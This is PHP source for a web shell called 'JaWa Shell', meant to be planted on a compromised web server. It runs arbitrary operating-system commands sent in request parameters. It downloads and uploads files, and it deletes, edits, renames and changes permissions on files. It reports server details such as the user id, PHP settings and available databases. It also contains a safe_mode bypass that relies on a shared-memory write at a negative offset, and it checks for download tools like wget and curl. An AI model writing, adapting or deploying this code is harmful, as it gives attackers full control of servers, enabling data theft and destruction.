/**
*Coded By jiko
*Site * www.no-exploit.com
* mail * jalikom@hotmail.com
* thanks to allah
*/
//Function Shell Jawa
//download Files Code
$fdownload=$_GET['fdownload'];
if ($fdownload <> "" ){
// path & file name
$path_parts = pathinfo("$fdownload");
$entrypath=$path_parts["basename"];
$name = "$fdownload";
$fp = fopen($name, 'rb');
header("Content-Disposition: attachment; filename=$entrypath");
header("Content-Length: " . filesize($name));
fpassthru($fp);
exit;
}
//styl functiob
function styll_jawa(){
echo "
JaWa Shell => "; echo $_SERVER['SERVER_ADDR']; echo "=> By JIKO
";
}
function bas_jawa(){
echo "
";
}
function get_execution_method(){
if(function_exists('passthru')){ $m = "passthru"; }
if(function_exists('exec')){ $m = "exec"; }
if(function_exists('shell_exec')){ $m = "shell_ exec"; }
if(function_exists('system')){ $m = "system"; }
if(!isset($m)) //No method found :-|
{
$m = "Disabled";
}
return($m);
}
function execute_command($method,$command){
if($method == "passthru")
{
passthru($command);
}
elseif($method == "exec")
{
exec($command,$result);
foreach($result as $output)
{
print $output." ";
}
}
elseif($method == "shell_exec")
{
print shell_exec($command);
}
elseif($method == "system")
{
system($command);
}
}
function table_info(){
echo '
Server Info :
';
$SA1=@ini_get("safe_mode");
if ($SA1 or strtolower($SA1) == "on")
{ $safemode = true;
$hsafemode = "ON (secure)"; }
else {$safemode = false; $hsafemode = "OFF (not secure)";}
echo("Safe_mode : $hsafemode");
echo ' ';
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "".$v."";}
else {$openbasedir = false; $hopenbasedir = "OFF (not secure)";}
echo("Open base dir : $hopenbasedir");
echo(" ");
echo "Disable functions : ";
if(''==($df=@ini_get('disable_functions'))){echo "NONE";}
else{echo "$df";}
echo(" ");
$lol = @substr($SERVER_SOFTWARE,0,120);
echo ("Software : $lol");
echo ' ';
$os = php_uname();
echo ("server : $os");
echo ' ';
$user = exec('id');
echo ("user : $user");
echo ' ';
$dir = @getcwd();
echo ("pwd : $dir");
echo(" ");
echo "Your ip : ".$_SERVER["REMOTE_ADDR"]."
Server ip :
".gethostbyname($_SERVER["HTTP_HOST"])." | ";
echo "PostgreSQL: ";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "ON";}else{echo "OFF";}
echo(" ");
echo "MSSQL: ";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "ON";}else{echo "OFF";}
echo(" ");
echo "MySQL: ";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "ON"; } else { echo "OFF"; }
echo(" ");
echo "PHP version: ".@phpversion()."";
echo(" ");
echo "cURL: ".(($curl_on)?("ON"):("OFF"));
echo(" ");
echo(htmlentities($_SERVER['SERVER_SOFTWARE']));
print" ";print "Home-path : " .__file__;
echo " | ";
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
echo " SeLeCT DriVeR:";
for ($j=ord('C'); $j<=ord('Z'); $j++)
if (@$dh = opendir(chr($j).":/"))
echo " [".chr($j)."]";
}
echo "
| ";
}
function coder_jiko(){
echo"
";
}
if (ini_get('register_globals') != '1') {
/* We'll register the variables as globals: */
if (!empty($HTTP_POST_VARS))
extract($HTTP_POST_VARS);
if (!empty($HTTP_GET_VARS))
extract($HTTP_GET_VARS);
if (!empty($HTTP_SERVER_VARS))
extract($HTTP_SERVER_VARS);
}
@set_time_limit(0);
$string = $_SERVER['QUERY_STRING'];
$mhost = 'jiko=shell';
$host_all = explode("$mhost", $string);
$s1 = $host_all[0];
$fstring = $_SERVER['PHP_SELF']."?".$s1.$mhost;
//
echo styll_jawa();
echo '
|
';
echo table_info();
echo "
|
|
";
if ($jiko=="" or $jiko=="shell"){
@set_time_limit(0);
$string = $_SERVER['QUERY_STRING'];
$mhost = 'jiko=shell';
$host_all = explode("$mhost", $string);
$s1 = $host_all[0];
$fstring = $_SERVER['PHP_SELF']."?".$s1.$mhost;
// Java Script
echo "";
// End JavaScript
/* Functions */
function cmd($CMDs) {
$CMD[1] = '';
exec($CMDs, $CMD[1]);
if (empty($CMD[1])) {
$CMD[1] = shell_exec($CMDs);
}
elseif (empty($CMD[1])) {
$CMD[1] = passthru($CMDs);
}
elseif (empty($CMD[1])) {
$CMD[1] = system($CMDs);
}
elseif (empty($CMD[1])) {
$handle = popen($CMDs, 'r');
while(!feof($handle)) {
$CMD[1][] .= fgets($handle);
}
pclose($handle);
}
return $CMD[1];
}
if (@$_GET['chdir']) {
$chdir = $_GET['chdir'];
} else {
$chdir = getcwd()."/";
}
if (@chdir("$chdir")) {
$msg = "Entrance in the directory, OK!";
} else {
$msg = "Error to enters it in the directory!";
$chdir = str_replace($SCRIPT_NAME, "", $_SERVER['SCRIPT_NAME']);
}
$chdir = str_replace(chr(92), chr(47), $chdir);
if (@$_GET['action'] == 'upload') {
$uploaddir = $chdir;
$uploadfile = $uploaddir. $_FILES['userfile']['name'];
if (@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $_FILES['userfile']['name'])) {
$msg = "{$_FILES['userfile']['name']}, the archive is validates and was loaded successfully.";
} else {
$msg = "Error when copying archive.";
}
}
elseif (@$_GET['action'] == 'mkdir') {
$newdir = $_GET['newdir'];
if (@mkdir("$chdir"."$newdir")) {
$msg = "{$newdir}, directory created successfully.";
} else {
$msg = "Error to it creates directory.";
}
}
elseif (@$_GET['action'] == 'newfile') {
$newfile = $_GET['newfile'];
if (@touch("$chdir"."$newfile")) {
$msg = "{$newfile}, created successfully!";
} else {
$msg = "Error to tries it creates archive.";
}
}
elseif (@$_GET['action'] == 'del') {
$file = $_GET['file']; $type = $_GET['type'];
if ($type == 'file') {
if (@unlink("$chdir"."$file")) {
$msg = "{$file}, successfully excluded archive!";
} else {
$msg = "Error to it I excluded archive!";
}
} elseif ($type == 'dir') {
if (@rmdir("$chdir"."$file")) {
$msg = "{$file}, successfully excluded directory!";
} else {
$msg = "Error to it I excluded directory!";
}
}
}
elseif (@$_GET['action'] == 'chmod') {
$file = $chdir.$_GET['file']; $chmod = $_GET['chmod'];
if (@chmod ("$file", $chmod)) {
$msg = "Chmod of {$_GET['file']} moved for $chmod successfully.";
} else {
$msg = 'Error when moving chmod.';
}
}
elseif (@$_GET['action'] == 'rename') {
$file = $_GET['file']; $newname = $_GET['newname'];
if (@rename("$chdir"."$file", "$chdir"."$newname")) {
$msg = "Archive {$file} named for {$newname} successfully!";
} else {
$msg = "Error to it nominates archive.";
}
}
elseif (@$_GET['action'] == 'copy') {
$file = $chdir.$_GET['file']; $copy = $_GET['fcopy'];
if (@copy("$file", "$copy")) {
$msg = "{$file}, copied for {$copy} successfully!";
} else {
$msg = "Error when copying {$file} for {$copy}";
}
}
/* Parte Atualiza 02:48 12/2/2006 */
elseif (@$_GET['action'] == 'cmd') {
if (!empty($_GET['cmd'])) { $cmd = @$_GET['cmd']; }
if (!empty($_POST['cmd'])) { $cmd = @$_POST['cmd']; }
$cmd = stripslashes(trim($cmd));
$result_arr = cmd($cmd);
$afim = count($result_arr); $acom = 0; $msg = '';
$msg .= "Results: ".$cmd." ";
if ($result_arr) {
while ($acom <= $afim) {
$msg .= " ".@$result_arr[$acom]." ";
$acom++;
}
}
else {
$msg .= "Erro ao executar comando. ";
}
}
elseif (@$_GET['action'] == 'safemode') {
if (@!extension_loaded('shmop')) {
echo "Loading... module";
if (strtoupper(substr(PHP_OS, 0,3) == 'WIN')) {
@dl('php_shmop.dll');
} else {
@dl('shmop.so');
}
}
if (@extension_loaded('shmop')) {
echo "Module: shmop loaded!";
$shm_id = @shmop_open(0xff2, "c", 0644, 100);
if (!$shm_id) { echo "Couldn't create shared memory segment\\n"; }
$data="\\x00";
$offset=-3842685;
$shm_bytes_written = @shmop_write($shm_id, $data, $offset);
if ($shm_bytes_written != strlen($data)) { echo "Couldn't write the entire length of data\\n"; }
if (!shmop_delete($shm_id)) { echo "Couldn't mark shared memory block for deletion."; }
echo passthru("id");
shmop_close($shm_id);
} else { echo "Module: shmop not loaded!"; }
}
elseif (@$_GET['action'] == 'zipen') {
$file = $_GET['file'];
$zip = @zip_open("$chdir"."$file");
$msg = '';
if ($zip) {
while ($zip_entry = zip_read($zip)) {
$msg .= "Name: " . zip_entry_name($zip_entry) . "\\n";
$msg .= "Actual Filesize: " . zip_entry_filesize($zip_entry) . "\\n";
$msg .= "Compressed Size: " . zip_entry_compressedsize($zip_entry) . "\\n";
$msg .= "Compression Method: " . zip_entry_compressionmethod($zip_entry) . "\\n";
if (zip_entry_open($zip, $zip_entry, "r")) {
echo "File Contents:\\n";
$buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
echo "$buf\\n";
zip_entry_close($zip_entry);
}
echo "\\n";
}
zip_close($zip);
}
}
elseif (@$_GET['action'] == 'edit') {
$file = $_GET['file'];
$conteudo = '';
$filename = "$chdir"."$file";
$conteudo = @file_get_contents($filename);
$conteudo = htmlspecialchars($conteudo);
$back = $_SERVER['HTTP_REFERER'];
echo "Editing {$file} ... ";
echo "";
echo "";
echo "| ";
echo "";
echo " | ";
echo " ";
echo " ";
}
elseif (@$_GET['action'] == 'save') {
$filename = "$chdir".$_GET['file'];
$somecontent = $_POST['S1'];
$somecontent = stripslashes(trim($somecontent));
if (is_writable($filename)) {
@$handle = fopen ($filename, "w");
@$fw = fwrite($handle, $somecontent);
@fclose($handle);
if ($handle && $fw) {
$msg = "{$_GET['file']}, edited successfully!";
}
} else {
$msg = "{$_GET['file']}, cannot be written!";
}
}
// Information
$cmdget = '';
if (!empty($_GET['cmd'])) { $cmdget = @$_GET['cmd']; }
if (!empty($_POST['cmd'])) { $cmdget = @$_POST['cmd']; }
$cmdget = htmlspecialchars($cmdget);
function asdads() {
$asdads = '';
if (@file_exists("/usr/bin/wget")) { $asdads .= "wget "; }
if (@file_exists("/usr/bin/fetch")) { $asdads .= "fetch "; }
if (@file_exists("/usr/bin/curl")) { $asdads .= "curl "; }
if (@file_exists("/usr/bin/GET")) { $asdads .= "GET "; }
if (@file_exists("/usr/bin/lynx")) { $asdads .= "lynx "; }
return $asdads;
}
echo " PWD ";
echo "";
echo " |